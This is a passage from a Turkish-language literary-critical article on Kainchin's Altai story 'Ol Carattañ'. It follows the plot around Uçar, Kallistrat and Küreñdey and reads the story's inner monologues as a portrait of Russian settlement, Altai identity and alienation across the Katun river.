kesilen yere bile yakla\u015famazd\u0131n. Kan g\u00f6rsen, kendinden ge\u00e7ip bay\u0131l\u0131rd\u0131n. Sine\u011fi bile \u00f6ld\u00fcrmez, \u00fcrk\u00fct\u00fcp \u00f6yle ka\u00e7\u0131r\u0131rd\u0131n. Bitkileri, her canl\u0131y\u0131 severdin. Fakat ne olduysa birdenbire oldu\u2026 Ni\u00e7in Kaygorodov\u2019a kat\u0131ld\u0131n? \u0130nsan\u0131 hayrete d\u00fc\u015f\u00fcren s\u00f6zler s\u00f6ylemeye ba\u015flad\u0131n: \u201cAltaylar\u0131 yok etmeliyiz. Altay\u2019\u0131 (onlardan) temizlemeliyiz. B\u00f6yle g\u00fczel ve iyi bir yer Ruslar\u0131n kokusuyla, Rus masallar\u0131yla kokmal\u0131.\u201d demeye ba\u015flad\u0131n. \u201cAltaylar\u0131 g\u00f6resim yok, dillerini de unuttum. Burada Rus h\u00e2kimiyeti kurmal\u0131y\u0131z.\u201d der oldun. Hay\u0131r yavrum, yanl\u0131\u015f yapt\u0131\u011f\u0131n\u0131 sana ka\u00e7 defa s\u00f6yledim. Onlar ya\u015fas\u0131n. Bu Altay, onlar\u0131n ana vatan\u0131. Yer hepimize yeter. O zavall\u0131lar bize k\u00f6t\u00fcl\u00fck yapmaz. Biz onlar\u0131 g\u00fc\u00e7s\u00fcz d\u00fc\u015f\u00fcr\u00fcp, uysalla\u015ft\u0131r\u0131p kendimize al\u0131\u015ft\u0131rd\u0131k. Onlar\u0131n bize faydas\u0131 var; hayvan besliyor, av avl\u0131yor, \u00e7al\u0131\u015f\u0131p bize \u0131rgatl\u0131k yap\u0131yorlar. Onlar bu yerin g\u00fczelli\u011fi, gelenek-g\u00f6rene\u011fi, t\u00f6resi, ruhu. Onlar, bu da\u011flar\u0131n \u00e7ocuklar\u0131\u2026 (s. 51).<\/p>\n\n\n\n Kallistrat, Altay\u2019a K\u00fcre\u00f1dey\u2019in ve kendisinin birli\u011finden olu\u015fan bir tohum (U\u00e7ar) atma niyetindedir. O\u011flu Petro\u2019nun yerine koydu\u011fu U\u00e7ar\u2019\u0131 k\u0131z\u0131 Fedosya ile birlikte okula g\u00f6nderir. Kendi elinden gelen, yapabildi\u011fi her i\u015fi U\u00e7ar\u2019a da \u00f6\u011fretir. Ona genellikle, \u201cuul\u0131m (o\u011flum)\u201d veya \u201cbalam (yavrum)\u201d diye seslenir. Kallistrat\u2019\u0131n bu merhametli ve sevecen sesleni\u015finde Ruslar\u0131n ebeveyn (baba), Altay T\u00fcrklerinin ise \u00e7ocuk (o\u011ful) metaforuyla ele al\u0131nd\u0131\u011f\u0131 g\u00f6r\u00fcl\u00fcr. Bir baba gerekirse o\u011flu i\u00e7in her t\u00fcrl\u00fc fedak\u00e2rl\u0131\u011f\u0131 yapar. Kallistrat da \u00f6yle. Bir g\u00fcn U\u00e7ar, a\u011f\u0131r bir \u015fekilde hastaland\u0131\u011f\u0131nda Kallistrat \u015fehre kadar uzun bir yolu giderek ona ila\u00e7 getirir. U\u00e7ar ise her i\u015finde Kallistrat\u2019a yard\u0131m eder.<\/p>\n\n\n\n \u015eimdi U\u00e7ar ne yapaca\u011f\u0131n\u0131, kimden yard\u0131m alaca\u011f\u0131n\u0131 bilemez h\u00e2ldedir. Akl\u0131ndan \u00e7e\u015fitli d\u00fc\u015f\u00fcnceler ge\u00e7erken Kad\u0131n Nehri\u2019nin bir kolu olan K\u00fcrk\u00fcrek Nehri\u2019nin sesini duyar. Kallistrat\u2019\u0131n evi bu nehrin k\u0131y\u0131s\u0131ndaki bir tepenin ete\u011finde, orman\u0131n i\u00e7indedir. Etraf\u0131nda say\u0131s\u0131 ona yak\u0131n geleneksel Altay evi ve daha k\u00fc\u00e7\u00fck evler vard\u0131r. Bu evlerde yak\u0131n zamanlarda buraya g\u00f6\u00e7 eden Altay T\u00fcrkleri ya\u015far. Bu Altay ailelerinin her biri yakla\u015f\u0131k iki \u00fc\u00e7 inek, d\u00f6rt be\u015f at, on be\u015f yirmi civar\u0131nda koyun ve ke\u00e7iye sahiptir. Aileler k\u00fc\u00e7\u00fck tarlalar\u0131na arpa ve patates eker, avc\u0131l\u0131k ve bal\u0131k\u00e7\u0131l\u0131k yapar, bo\u015f zamanlar\u0131nda ise baz\u0131lar\u0131 Kallistrat\u2019\u0131n i\u015flerinde ona yard\u0131m ederler. Hik\u00e2yede Kallistrat ve etraf\u0131ndaki Altay T\u00fcrkleri aras\u0131ndaki ili\u015fki, b\u00f6lgeye gelen Rus g\u00f6\u00e7menler ve yerli Altay T\u00fcrkleri aras\u0131ndaki ili\u015fkinin uyumlu bir \u00f6rne\u011fi olarak sunulur. H\u00e2lbuki durumun b\u00f6yle olmad\u0131\u011f\u0131 bilinmektedir. Rus g\u00f6\u00e7menler[4<\/a>] , 19. y\u00fczy\u0131ldan itibaren Sibirya\u2019n\u0131n gittikleri her yerinde oldu\u011fu gibi Altay\u2019da da b\u00f6lgenin en verimli topraklar\u0131na yerle\u015fmi\u015f, bunun neticesinde ise ya\u015fam alanlar\u0131 daralan yerli halk daha verimsiz yerlere g\u00f6\u00e7 etmek zorunda kalm\u0131\u015ft\u0131r. Yazar, Altay T\u00fcrklerinin Rus g\u00f6\u00e7menlere yakla\u015f\u0131m\u0131n\u0131 K\u00fcre\u00f1dey vas\u0131tas\u0131yla dile getirir:<\/p>\n\n\n\n Ba\u015flang\u0131\u00e7ta senin gibi bir iki aile geldi. Biz, onlara ac\u0131y\u0131p var g\u00fcc\u00fcm\u00fczle yard\u0131m ettik. Sonunda onlar\u0131n pe\u015finden din adamlar\u0131 geldi. B\u00f6ylece \u00e7o\u011fal\u0131p her yere yay\u0131ld\u0131lar. \u00c7o\u011fal\u0131nca kiliselerini yapt\u0131lar. Sonra beyleri gelip \u201cBu kilisenin \u00e7at\u0131s\u0131ndan g\u00f6r\u00fclen her yer Tanr\u0131 Hristos\u2019a ve kiliseye aittir.\u201d dediler. \u201cG\u00f6\u00e7\u00fcp gidin!\u201d dediler. S\u00fcr\u00fclen ben miyim?.. Buras\u0131 benim yerim, atalar\u0131m\u0131n yurdu! Fakat \u00e7aresizlik i\u015fte. G\u00f6\u00e7mezsen yakarlar ya da \u00f6ld\u00fcr\u00fcrler (s. 55-56).<\/p>\n\n\n\n Ruslar\u0131n Altay\u2019a yerle\u015fmesi ve sahiplenmesi ise Kallistrat yoluyla dile getirilir:<\/p>\n\n\n\n Bu yerin benim ana yurdum, yerim, evim olmad\u0131\u011f\u0131n\u0131 m\u0131 s\u00f6yl\u00fcyorsun? Bu Altay bana da gerekli. Ya\u015fam\u0131m bu vadide olsun, yan\u0131mda K\u00fcrk\u00fcrek suyum g\u00fcr\u00fcldeyerek aks\u0131n. Ormanlar\u0131yla g\u00f6zlerimi kama\u015ft\u0131ran da\u011flar\u0131m olsun, Altay\u2019\u0131m\u0131n kokusunu ci\u011ferlerime dolduray\u0131m. At\u0131m\u0131 ko\u015ftursam Kad\u0131n Nehri\u2019mi g\u00f6reyim. Beni Altay besledi, bana Altay be\u015fik oldu. Vuracaksa da Altay\u2019\u0131n r\u00fczg\u00e2r\u0131 vursun y\u00fcz\u00fcme, k\u0131r\u0131\u015ft\u0131rsa da Altay\u2019\u0131m\u0131n so\u011fu\u011fu k\u0131r\u0131\u015ft\u0131rs\u0131n y\u00fcz\u00fcm\u00fc. K\u00fcre\u00f1dey, sen bu yere g\u00f6be\u011fin ve kan\u0131nla ba\u011fl\u0131s\u0131n. Gidecek ba\u015fka yerin yok. Peki ben\u2026 Beni ba\u015fka yerde bekleyen mi var? Burada do\u011fdum, \u00f6ld\u00fc\u011f\u00fcmde de mezar\u0131m burada olacak\u2026 (s. 52).<\/p>\n\n\n\n Bu i\u00e7 monologlarda Kain\u00e7in yazar olarak en iyi yapt\u0131\u011f\u0131 i\u015fi yapar: Ki\u015finin i\u00e7 ya\u015fam\u0131n\u0131n in\u015fas\u0131 s\u00fcrecinde karakterlerin ruhsal durumlar\u0131n\u0131 okuyucuya b\u00fct\u00fcn a\u00e7\u0131kl\u0131\u011f\u0131yla g\u00f6sterir. Bir ki\u015finin \u00e7e\u015fitli duygu ve psikolojik durumlar\u0131n\u0131n anlat\u0131larak anlaml\u0131 imgelerin olu\u015fturuldu\u011fu bu \u00f6yk\u00fcler, Kain\u00e7in\u2019in psikanalizdeki ustal\u0131\u011f\u0131na tan\u0131kl\u0131k eder (Palkina, 2004, s. 24). \u0130\u00e7 monologlar, yazar\u0131n \u00f6nemli say\u0131da eserinde \u00fcslubunun belirleyici yan\u0131d\u0131r. Bu i\u00e7 monologlar K\u00fcre\u00f1dey ve Kallistrat\u2019\u0131n i\u00e7 d\u00fcnyalar\u0131n\u0131n g\u00f6r\u00fcnt\u00fclerini a\u00e7\u0131kl\u0131\u011fa kavu\u015fturmakla kalmaz, iki toplumun akut sorunlar\u0131n\u0131 da ortaya koyar.<\/p>\n\n\n\n U\u00e7ar, Kallistrat\u2019\u0131n evine var\u0131r. Kallistrat onun gece vaktinde ve Kad\u0131n Nehri\u2019ni y\u00fczerek ge\u00e7ip geli\u015fine \u015fa\u015f\u0131r\u0131r. B\u00f6yle bir \u015fey yapt\u0131\u011f\u0131 i\u00e7in de ona k\u0131zar. U\u00e7ar, yolda kar\u015f\u0131la\u015ft\u0131\u011f\u0131 ki\u015fileri ve tehditlerini Kallistrat\u2019a anlat\u0131r. Kallistrat b\u00f6yle bir \u015feyi zaten bekledi\u011fini fakat \u015fimdi de\u011fil, sonbaharda bask\u0131na u\u011frayaca\u011f\u0131n\u0131 tahmin etti\u011fini, Saveliy ile Evlampiy\u2019in d\u00fcn\u00fcr olduklar\u0131n\u0131, U\u00e7ar\u2019\u0131n tan\u0131mad\u0131\u011f\u0131 ki\u015finin de onlar\u0131n lideri olan Platon oldu\u011funu s\u00f6yler. B\u00f6yle beklenmedik \u015fekilde erken geli\u015flerini ise Mitra\u2019n\u0131n, babas\u0131n\u0131 ve di\u011ferlerini y\u00f6nlendirmesine ba\u011flar. Kallistrat\u2019\u0131n d\u00fc\u015f\u00fcncesine g\u00f6re k\u0131z\u0131 Fedosya\u2019y\u0131 U\u00e7ar\u2019la evlendirme ihtimali, Mitra\u2019y\u0131 harekete ge\u00e7irmi\u015f olmal\u0131d\u0131r. Kallistrat ne yapaca\u011f\u0131na karar veremez. \u00c7aresizlik i\u00e7indedir. Sovyetlerin ve yoksullar\u0131n g\u00fcn ge\u00e7tik\u00e7e g\u00fc\u00e7lendi\u011fini, sonunda onlar\u0131n g\u00fcc\u00fc tamamen ele ge\u00e7ireceklerini, bu ya\u011fmac\u0131lar\u0131n servetini elinden alsalar bile Sovyet iktidar\u0131n\u0131n da onlar\u0131n elinden alaca\u011f\u0131n\u0131 d\u00fc\u015f\u00fcn\u00fcr. Nihayet Saveliy ve Evlampiy ile m\u00fccadele etmek, gerekirse onlarla \u00e7arp\u0131\u015fmak gerekti\u011fine karar verir. Kallistrat ve di\u011ferleri aras\u0131ndaki \u00e7at\u0131\u015fma SSCB\u2019nin kurulu\u015f d\u00f6neminde politik olmayan Ruslar aras\u0131ndaki i\u00e7 \u00e7at\u0131\u015fmalar\u0131n bir \u00f6rne\u011fi olarak anlat\u0131l\u0131r.<\/p>\n\n\n\n Kallistrat\u2019a g\u00f6re Saveliy, Altay\u2019\u0131n de\u011ferli mallar\u0131n\u0131 \u00c7in ve Mo\u011folistan\u2019a satan a\u00e7g\u00f6zl\u00fc bir t\u00fcccard\u0131r. Hik\u00e2ye boyunca \u00f6nce Rus g\u00f6\u00e7menlere, sonra misyoner Rus Ortodoks Kilisesine y\u00f6neltilen ele\u015ftiri bu kez de ekonomik olarak Altay T\u00fcrklerini istismar eden Rus t\u00fcccarlara Saveliy \u00fczerinden yap\u0131l\u0131r. Saveliy \u015fimdi de g\u00fcya sosyalizm kar\u015f\u0131t\u0131 Aklara kat\u0131lm\u0131\u015f ve ya\u011fmaya giri\u015fmi\u015ftir. Asl\u0131nda Kallistrat ve Saveliy\u2019in dedeleri Altay\u2019a gelen ilk Rus g\u00f6\u00e7menlerdir. Her ikisi de Altay T\u00fcrk\u00fc kad\u0131nlarla evlenmi\u015fler, Altay T\u00fcrk\u00e7esini iyi \u00f6\u011frenmi\u015flerdir. Altay T\u00fcrkleri onlara merhamet ederek binmeleri i\u00e7in atlar, s\u00fct\u00fcn\u00fc sa\u011fmalar\u0131 i\u00e7in inekler ve bereketli yerlerden toprak vermi\u015flerdir. Kallistrat ve Saveliy\u2019in dedeleri ve babalar\u0131 yak\u0131n arkada\u015flar olarak hep g\u00f6r\u00fc\u015ft\u00fcklerinden ikisinin \u00e7ocuklu\u011fu birlikte ge\u00e7mi\u015ftir. Fakat bir g\u00fcn Saveliy\u2019in babas\u0131 (Prokopiy) Kallistrat\u2019\u0131n babas\u0131n\u0131 (Markel) ziyarete gelmi\u015f, yiyip i\u00e7ip e\u011flenmi\u015fler ve sarho\u015f olmu\u015flar. Prokopiy, sarho\u015f olup d\u0131\u015far\u0131 \u00e7\u0131k\u0131nca yanl\u0131\u015fl\u0131kla bir ar\u0131 kovan\u0131n\u0131n \u00fczerine d\u00fc\u015fm\u00fc\u015f. Devrilen kovandan \u00e7\u0131kan ar\u0131lar Saveliy\u2019in babas\u0131 Prokopiy\u2019i sokmu\u015f ve Prokopiy orac\u0131kta \u00f6lm\u00fc\u015f. Bu olaydan sonra Saveliy ile Kallistrat\u2019\u0131n aras\u0131 a\u00e7\u0131lm\u0131\u015f. K\u0131sa bir s\u00fcre sonra Kallistrat\u2019\u0131n babas\u0131 Markel de bir k\u0131\u015f g\u00fcn\u00fc \u00e7\u0131kt\u0131\u011f\u0131 avda \u00e7\u0131\u011f alt\u0131nda kalarak \u00f6lm\u00fc\u015f. Halk aras\u0131nda \u00e7\u0131\u011f\u0131 \u00e7\u0131kar\u0131p Markel\u2019in \u00f6l\u00fcm\u00fcne Saveliy\u2019in sebep oldu\u011fu hakk\u0131nda dedikodular yay\u0131lm\u0131\u015f. \u00c7\u00fcnk\u00fc \u00e7\u0131\u011f\u0131n oldu\u011fu yerde k\u0131zak izleri, hatta kar\u0131n \u00fcst\u00fcne sopayla \u201cBen Saveliy!\u201d yaz\u0131ld\u0131\u011f\u0131 g\u00f6r\u00fclm\u00fc\u015f. Fakat Kallistrat buna hi\u00e7bir zaman inanmak istememi\u015ftir. Sonras\u0131nda Kallistrat\u2019\u0131n iki ine\u011fi ve at\u0131 da \u00f6ld\u00fcr\u00fcl\u00fcnce halk aras\u0131nda bunlar\u0131 yapan\u0131n da Saveliy oldu\u011funa dair s\u00f6ylentiler \u00e7\u0131kar. Kallistrat ve Saveliy aras\u0131ndaki d\u00fc\u015fmanl\u0131k, evlenecekleri bir gen\u00e7 k\u0131z konusunda da devam eder. Her ikisi de annesi Rus, babas\u0131 Altay olan melez Agrefena ile evlenmek istese de Kallistrat ayn\u0131 y\u0131l sonbaharda yap\u0131lan d\u00fc\u011f\u00fcnle Agrafena ile evlenir. Saveliy ise kendisinden on ya\u015f b\u00fcy\u00fck ama \u00e7ok zengin bir kad\u0131nla evlenir. Evlilikleri konusundaki tercihleri, karakterleri aras\u0131ndaki belirgin z\u0131tl\u0131\u011f\u0131 g\u00f6steren \u00f6rneklerden biridir. Kallistrat k\u0131z (Fedosya), Saveliy erkek \u00e7ocuk (Mitra) sahibi olur. Saveliy, Kallistrat\u2019\u0131n servetine sahip olmak i\u00e7in Fedosya\u2019y\u0131 o\u011flu Mitra ile evlendirmek ister. Gelene\u011fe uygun d\u00fcn\u00fcrl\u00fck yapmak yerine Kallistrat\u2019\u0131 tehdit eder. Fakat Kallistrat, k\u0131z\u0131n\u0131n evlilik ya\u015f\u0131nda olmad\u0131\u011f\u0131n\u0131, zaman\u0131 geldi\u011finde bu konuyu tekrar konu\u015fmak gerekti\u011fini s\u00f6yleyerek d\u00fcn\u00fcr gelenleri g\u00f6nderir. \u0130\u00e7inden \u201cK\u0131z\u0131m\u0131 onlara vermektense U\u00e7ar\u2019a veririm daha iyi.\u201d diye ge\u00e7irir. Kallistrat ile Saveliy aras\u0131ndaki \u00e7at\u0131\u015fma politik olmaktan ziyade nedenleri atalar\u0131na kadar uzanan bir husumete dayan\u0131r. B\u00f6lge tarihini bilen okuyucular i\u00e7in Kallistrat, Saveliy ve b\u00f6lgeye yerle\u015fen di\u011fer Ruslar, kendilerinden sonra Altay\u2019a yerle\u015fecek Ruslar i\u00e7in birer aray\u00fczd\u00fcrler.<\/p>\n\n\n\n Saveliy\u2019in yapaca\u011f\u0131 sald\u0131r\u0131 kar\u015f\u0131s\u0131nda ne yapaca\u011f\u0131n\u0131 d\u00fc\u015f\u00fcnen Kallistrat, geceyi i\u00e7 hesapla\u015fmalar yaparak endi\u015feler i\u00e7inde ve ne yapaca\u011f\u0131n\u0131 bilmez h\u00e2lde ge\u00e7irir. Sabah olunca Agrafena\u2019y\u0131 uyand\u0131r\u0131r. U\u00e7ar da uyan\u0131r. U\u00e7ar, Kallistrat\u2019a \u201cBen Saveliylerin isteklerini yerine getirece\u011fime dair onlar\u0131 inand\u0131ray\u0131m. Kand\u0131r\u0131p kap\u0131y\u0131 a\u00e7arak boynuzlar\u0131n oldu\u011fu ambara getireyim. Sizler de orada saklan\u0131p onlar\u0131 bekleyin.\u201d der. Kallistrat \u015fa\u015f\u0131rarak kendisinin de gece boyunca ayn\u0131 \u015feyi d\u00fc\u015f\u00fcn\u00fcp planlad\u0131\u011f\u0131n\u0131 s\u00f6yler.<\/p>\n\n\n\n Ertesi gece Kallistrat, Fedosya, iki \u0131rgat ve iki ihtiyar Altay T\u00fcrk\u00fc silahl\u0131 bekler. Agrafena ve U\u00e7ar ise silahs\u0131zd\u0131r. E\u015fk\u0131yalar gece yar\u0131s\u0131 gelir. Kallistrat ile anla\u015ft\u0131klar\u0131 \u00fczere U\u00e7ar onlar\u0131 i\u00e7eri al\u0131r. Birlikte Kallistrat, Fedosya ve di\u011ferlerinin bulundu\u011fu ambara do\u011fru giderler. \u00c7at\u0131\u015fma \u00e7\u0131kar \u00e7\u0131kmaz Mitra U\u00e7ar\u2019\u0131 g\u00f6\u011fs\u00fcnden vurur. Yazar, U\u00e7ar\u2019\u0131n vurulduktan sonraki durumunu \u015f\u00f6yle anlat\u0131r: \u201c\u2018Ee, u\u00e7mak laz\u0131m \u015fimdi, u\u00e7up y\u00fckselmek gerek!\u201d diye U\u00e7ar elini sallad\u0131. Ger\u00e7ekten kanat \u00e7\u0131rpar gibi y\u00fckseldi, \u00f6zg\u00fcrle\u015fti, rahatlay\u0131p hafifledi. \u2018U\u00e7mak ne g\u00fczel, ne g\u00fczel!\u2019 diye iyice y\u00fckselmek, y\u00fccelmek istedi. Altay\u2019\u0131n b\u00fct\u00fcn vadileri, ovalar\u0131, taygalar\u0131yla g\u00f6zlerinin \u00f6n\u00fcne serildi\u2026 Kad\u0131n Nehri, ince ip gibi uzan\u0131yor, Altay\u2019\u0131n kutsal kabul edilen \u00dc\u00e7 S\u00fcmer (Beluha) Da\u011f\u0131 \u00fc\u00e7 zirvesiyle g\u00f6\u011fe uzan\u0131yordu.\u201d Hik\u00e2yenin bu k\u0131sm\u0131nda yazar\u0131n U\u00e7ar\u2019\u0131n ismini bilin\u00e7li \u015fekilde tercih etti\u011fi anla\u015f\u0131l\u0131r.<\/p>\n\n\n\n Okuyucu, U\u00e7ar\u2019\u0131n \u00f6l\u00fcp \u00f6lmedi\u011fini hen\u00fcz anlayamam\u0131\u015fken Agrafena \u201cOna s\u00fct i\u00e7irmek gerekli.\u201d der. U\u00e7ar, s\u00fct de\u011fil su i\u00e7mek istedi\u011fini s\u00f6ylemek istese de s\u00f6zc\u00fckler a\u011fz\u0131ndan \u00e7\u0131kamaz. Kallistrat ile Saveliy aras\u0131nda tart\u0131\u015fma \u00e7\u0131kar. Her ikisi de servet sahibi olmak i\u00e7in birbirlerini a\u00e7g\u00f6zl\u00fc davranmakla ve i\u00e7ine d\u00fc\u015ft\u00fckleri felakete sebep olmakla su\u00e7lar. Kallistrat, U\u00e7ar\u2019\u0131n tek bir sa\u00e7 teline bile de\u011fi\u015fmeyece\u011fini s\u00f6yledi\u011fi servetini yakmak istese de insanlar onu engeller.<\/p>\n\n\n\n B\u00fct\u00fcn bunlar olurken U\u00e7ar bu kez de kendini bir k\u0131za\u011f\u0131n \u00fcst\u00fcnde hisseder. Yan\u0131nda Fedosya vard\u0131r. G\u00f6zlerini g\u00f6ky\u00fcz\u00fcne diken U\u00e7ar, g\u00f6\u011f\u00fcn ayd\u0131nl\u0131\u011f\u0131nda bir Fedosya\u2019n\u0131n, bir \u015e\u0131ra\u00f1kay\u2019\u0131n y\u00fcz\u00fcn\u00fc g\u00f6r\u00fcr. Bu g\u00f6r\u00fc\u015fle okuyucu, U\u00e7ar\u2019\u0131n zihni ve kalbinin bir yan\u0131n\u0131n Fedosya yoluyla Rus k\u00fclt\u00fcr\u00fcne ve hayat tarz\u0131na, di\u011fer yan\u0131n\u0131n ise \u015e\u0131ra\u00f1kay yoluyla Altay k\u00fclt\u00fcr\u00fcne ve hayat tarz\u0131na d\u00f6n\u00fck oldu\u011funu anlar. Bu durum bize U\u00e7ar\u2019\u0131n ayn\u0131 zamanda tam anlam\u0131yla yabanc\u0131la\u015fmad\u0131\u011f\u0131n\u0131 g\u00f6sterir. Hik\u00e2ye \u015fu paragrafla sona erer:<\/p>\n\n\n\n U\u00e7ar kendisini bir kay\u0131\u011f\u0131n i\u00e7inde hissetti.<\/p>\n\n\n\n \u201cDayan, U\u00e7ar, dayan!\u201d diye f\u0131s\u0131ldad\u0131 Fedosya. Uzun sa\u00e7lar\u0131 r\u00fczg\u00e2rda dalgalan\u0131rken k\u00fcrek \u00e7ekip duruyordu. Dalgalar kay\u0131\u011fa \u015fiddetle \u00e7arparken sular da U\u00e7ar\u2019\u0131n y\u00fcz\u00fcne \u00e7arp\u0131yordu. Fakat Fedosya kay\u0131\u011f\u0131 ustal\u0131kla kullan\u0131yordu. \u201cDayan, U\u00e7ar, dayan!\u201d diye gen\u00e7 k\u0131z g\u00f6zlerini g\u00f6\u011fe kald\u0131rarak tekrar f\u0131s\u0131ldad\u0131. \u201cBak, Salk\u0131n i\u015fte o k\u0131y\u0131da, \u015e\u0131ra\u00f1kay orada duruyor\u2026 O k\u0131y\u0131da, hayat\u2026\u201d (s. 64).<\/p>\n\n\n\n Temsil Ettikleri De\u011ferler Bak\u0131m\u0131ndan Kar\u015f\u0131t \u0130kili Kahramanlar<\/strong><\/p>\n\n\n\n 19. y\u00fczy\u0131l\u0131n ikinci yar\u0131s\u0131ndaki Altay nesrinde temalar daha \u00e7ok kar\u015f\u0131tl\u0131klar (ak ve kara, uysal ve zalim, iyi ve k\u00f6t\u00fc \u015fahsiyetler, eski ve yeni d\u00fcnya anlay\u0131\u015flar\u0131\u2026) \u00fczerine kuruludur (Tekpenova, 2018a, s. 24). Belki de Altay edebiyat\u0131n\u0131n kurulu\u015f y\u0131llar\u0131nda mitolojiden fazlas\u0131yla faydalan\u0131ld\u0131\u011f\u0131 i\u00e7in Kain\u00e7in\u2019in de eserlerinde zaman zaman bu kar\u015f\u0131tl\u0131klara yer verdi\u011fi ve bunlar\u0131 antipod kahramanlar yoluyla ele al\u0131p i\u015fledi\u011fi g\u00f6r\u00fcl\u00fcr. Bu \u00e7at\u0131\u015fmalarda karakterler toplumsal d\u00fczenin sorunlar\u0131 ve engelleriyle y\u00fczle\u015ftiklerinde ortaya \u00e7\u0131karlar. Kahramanlar\u0131n bir k\u0131sm\u0131 g\u00fc\u00e7l\u00fc bir ki\u015filik olarak irade, bilgi, bilgelik, tarihsel deneyim gibi karma\u015f\u0131k ve zor ko\u015fullarla ba\u015f edecek g\u00fcce sahiptirler. \u00c7at\u0131\u015fmalarda ki\u015filerin ruh h\u00e2lleri ayr\u0131nt\u0131l\u0131 olarak verilir (Palkina, 2004, s. 19, 24). Ol Caratta\u00f1<\/em> hik\u00e2yesi de Altay edebiyat\u0131n\u0131n bu kl\u00e2sik \u00e7at\u0131\u015fma anlay\u0131\u015f\u0131 \u00fczerine kuruludur. Hik\u00e2yeye ad\u0131n\u0131 veren \u201col carat (\u00f6te yaka\/kar\u015f\u0131 yaka)\u201d ifadesiyle Altay co\u011frafyas\u0131n\u0131n ve k\u00fclt\u00fcr\u00fcn\u00fcn sembol unsurlar\u0131ndan olan Kad\u0131n Nehri\u2019nin daha \u00e7ok Ruslar\u0131n ya\u015fad\u0131\u011f\u0131 taraf\u0131 kastedilir. Nehrin di\u011fer taraf\u0131nda Altay T\u00fcrklerini temsil eden K\u00fcre\u00f1dey ve ailesi ya\u015farken ol caratta (\u00f6te yakada) Kallistrat\u2019\u0131n ailesi ve Ruslar ya\u015far. Dolay\u0131s\u0131yla ol carat, co\u011frafi olarak Altay\u2019a yerle\u015fen Ruslar\u0131n sembol\u00fcd\u00fcr. Kad\u0131n Nehri; K\u00fcre\u00f1dey ve di\u011fer Altay ailelerinin yerle\u015fti\u011fi, kendileri olarak kalmaya \u00e7al\u0131\u015fan Altay T\u00fcrklerinin bulundu\u011fu yakas\u0131 ve U\u00e7ar\u2019\u0131n yabanc\u0131la\u015fmas\u0131 aras\u0131ndaki s\u0131n\u0131r\u0131 imler. Hik\u00e2yenin T\u00fcrkiye T\u00fcrk\u00e7esine \u00d6te Yakadan<\/em> veya Kar\u015f\u0131 Yakadan<\/em> \u015feklinde aktar\u0131labilecek ba\u015fl\u0131\u011f\u0131, yazar\u0131n se\u00e7ti\u011fi konuya ait g\u00f6r\u00fc\u015f\u00fcn\u00fc yans\u0131t\u0131r ve hik\u00e2yenin kompozisyonu iki ana katmandan olu\u015fur: U\u00e7ar\u2019\u0131n belki \u00f6l\u00fcm\u00fcyle sonu\u00e7lanabilecek ve bir g\u00fcn i\u00e7inde ger\u00e7ekle\u015fen trajik olaylarla K\u00fcre\u00f1dey ve Kallistrat\u2019\u0131n Altay co\u011frafyas\u0131ndaki ontolojik m\u00fccadelesi. Hik\u00e2yede d\u00f6nemin eserlerinden farkl\u0131 olarak kahramanlar\u0131n i\u00e7 d\u00fcnyalar\u0131 s\u0131k\u00e7a verilir. Kahramanlar -\u00f6zellikle K\u00fcre\u00f1dey ve Kallistrat- i\u00e7 konu\u015fmalar\u0131 yoluyla duygular\u0131n\u0131 ortaya koyarlar. Bu \u00e7at\u0131\u015fmada Kallistrat\u2019\u0131n d\u00fc\u015fmanl\u0131k \u00e7izgilerini silmeye ve iki toplum aras\u0131nda k\u00f6pr\u00fc olma \u00e7abas\u0131 i\u00e7inde g\u00f6r\u00fcl\u00fcr.<\/p>\n\n\n\n Hik\u00e2ye, asl\u0131nda ki\u015filerin de\u011fil mek\u00e2n\u0131n\/co\u011frafyan\u0131n (Altay) \u00f6yk\u00fcs\u00fcd\u00fcr. Bu y\u00f6n\u00fcyle Orhan Ko\u00e7ak\u2019\u0131n T\u00fcrk\u00e7ede ilk \u015fehir roman\u0131 olarak tan\u0131mlad\u0131\u011f\u0131 Aylak Adam<\/em> roman\u0131 hakk\u0131ndaki de\u011ferlendirmelerinin -uyarlamalarla- Ol Caratta\u00f1<\/em> hik\u00e2yesi i\u00e7in de ge\u00e7erli oldu\u011funu s\u00f6ylemek m\u00fcmk\u00fcnd\u00fcr: Altay, hik\u00e2yede olaylar\u0131n ge\u00e7ti\u011fi yer olarak kalmam\u0131\u015f, olay \u00f6rg\u00fcs\u00fcne etkin, kurucu bir \u00f6ge olarak kat\u0131lm\u0131\u015ft\u0131r; sadece sahne ve dekor de\u011fil, ayn\u0131 zamanda bir \u201cfig\u00fcrd\u00fcr\u201d; bu s\u00f6zc\u00fc\u011f\u00fcn iki anlam\u0131yla birlikte -hem bir \u201c\u015fah\u0131s\u201d, bir karakter hem de bir mecaz- bir anlamland\u0131r\u0131c\u0131 (Ko\u00e7ak, 2017, s. 149). Kain\u00e7in, Altay co\u011frafyas\u0131n\u0131 \u201cdi\u015fil\u201d (K\u00fcre\u00f1dey) ve \u201ceril\u201d (Kallistrat) iki unsur aras\u0131ndaki \u00e7at\u0131\u015fmayla dengelemeye \u00e7al\u0131\u015f\u0131r. \u00c7at\u0131\u015fma iki kar\u015f\u0131 cinsiyet aras\u0131nda ger\u00e7ekle\u015fince Altay co\u011frafyas\u0131n\u0131 ana rahmi, \u00e7at\u0131\u015fmay\u0131 da bir t\u00fcr do\u011fum sanc\u0131s\u0131 olarak d\u00fc\u015f\u00fcnmemizi gerektirir. Olaylar\u0131n \u00f6rg\u00fcs\u00fc ve \u00e7at\u0131\u015fma unsurlar\u0131 ki\u015fi-yer ili\u015fkisi ba\u011flam\u0131nda mek\u00e2n\u0131n sosyopolitik \u00f6zellikleri \u00fczerinden i\u015flenir. \u00c7at\u0131\u015fma, as\u0131l olarak mek\u00e2n\u0131 kendisinin yurdu olarak kabul eden K\u00fcre\u00f1dey (Altay) ile mek\u00e2n\u0131 kendisine yurt edinmeye ve k\u00f6k salmaya \u00e7al\u0131\u015fan Kallistrat (Rus) aras\u0131nda ge\u00e7er. Altay co\u011frafyas\u0131 her ikisi i\u00e7in de varolu\u015flar\u0131n\u0131n temel dayana\u011f\u0131d\u0131r. Mek\u00e2nsal olarak ku\u015fat\u0131lm\u0131\u015f ve daralt\u0131lm\u0131\u015f hissi ya\u015fayan K\u00fcre\u00f1dey, kendisinin ve ailesiyle birlikte Altay T\u00fcrklerinin b\u00fct\u00fcn varolu\u015funu yabanc\u0131dan uzak durmak veya yabanc\u0131 kar\u015f\u0131s\u0131nda mill\u00ee kimli\u011fini g\u00fc\u00e7lendirmekte bulmu\u015ftur. Kendini yeniden in\u015fa etmek ve yabanc\u0131\/\u00f6tekinin 